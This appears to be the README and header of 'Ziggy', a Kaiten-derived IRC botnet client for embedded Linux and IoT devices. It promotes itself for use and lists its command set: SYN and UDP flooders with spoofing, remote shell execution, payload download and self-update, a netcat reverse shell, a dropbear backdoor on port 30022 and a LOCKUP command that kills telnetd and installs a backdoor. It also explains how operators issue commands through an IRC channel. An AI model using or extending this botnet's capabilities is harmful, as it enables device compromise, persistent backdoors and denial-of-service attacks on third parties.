A Kaiten rewrite, with much new functionality, and many fixes for the old stuff! Tailored toward embedded Linux devices, because... well, the internet of things is the new frontier!
Nothing, really. Just doing some maint to avoid confusion. Ziggy-latest is the latest version. Note that now the password to
enable and disable is hardcoded. Passwords, server ips, etc are encoded using the hide.c tool. You really need to read the
code to understand this version, it's not compicated though.
oooooo o .oPYo. o ooooo d' 8 8 8 d' o8 .oPYo. .oPYo. o o `Yooo. o8P.oPYo. oPYo. 8 o o `o o' d' 8 8 8 8 8 8 8 `8 8 .oooo8 8 `' 8 8 8 `bd' d' 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 d'`b dooooo 8 `YooP8 `YooP8 `YooP8 `YooP' 8 `YooP8 8 8 `YooP' o' `o .......:..:....8 :....8 :....8 :.....::..:.....:..:::::..::.....:..:::.. ::::::::::::ooP'.::ooP'.::ooP'.::::::::::::::::::::::::::::::::::::::::: ::::::::::::...::::...::::...::::::::::::::::::::::::::::::::::::::::::: This is a remake of Kaiten, hacked together from various versions scattered throughout cyberspace. New features include a variety of awesome shell one- liners, ability to upgrade the bot over http (via gcc or static binary), a feature called "HackPkg" that installs binaries without dependencies like wget or tftp, and more! Tip: run GETBB first to get the most out of this bot (it will install to /var/bin, which is almost always writable). The LOCKUP command will kill telnetd and run a backdoor of your choice (for simplicity we assume you will run it on port 23). This bot is updated often, so check back frequently for new killer features and ddos tools. In memory of David Bowie, because he was an awesome musician and passed during the early development of this bot. By ShellzRuS and all the other developers that have worked on Kaiten over the last 20 years. "Hacking on kaiten is a right of passage" --Kod This is a IRC based distributed denial of service client. It connects to the server specified below and accepts commands via the channel specified. The syntax is: ! You send this message to the channel that is defined later in this code. Where is the nickname of the client (which can include wildcards) and the command is the command that should be sent. For example, if you want to tell all the clients with the nickname starting with N, to send you the help message, you type in the channel: !N HELP That will send you a list of all the commands. You can also specify an astrick alone to make all client do a specific command: ! SH uname -a There are a number of commands that can be sent to the client: PAN - A SYN flooder UDP - An UDP flooder UNKNOWN - Another non-spoof udp flooder NICK - Changes the nick of the client SERVER - Changes servers GETSPOOFS - Gets the current spoofing SPOOFS - Changes spoofing to a subnet DISABLE - Disables all packeting from this bot ENABLE - Enables all packeting from this bot KILL - Kills Ziggy GET - Downloads a file off the web VERSION - Requests version of bot KILLALL - Kills all current packeting HELP - Displays this IRC - Sends this command to the server SH - Executes a command ISH - "Interactive" SH, send to channel BASH - Run a bash command SHD - Daemonize command UPDATE - Update this bot HACKPKG - Install binary (no wget dependency) INSTALL - Install binary (via wget) BINUPDATE - Update a binary (via wget) SCAN - Call an nmap wrapper script GETSSH - Install dropbear, run on port 30022 RSHELL - Equates to nc ip port GETBB - Get a proper busybox (via tftp) LOCKUP - Kill telnet, install a backdoor! Remember, all these commands must be prefixed by a ! and the nickname that you want the command to be sent to (can include wildcards). There are no spaces in between the ! and the nickname, and there are no spaces before the ! - contem on efnet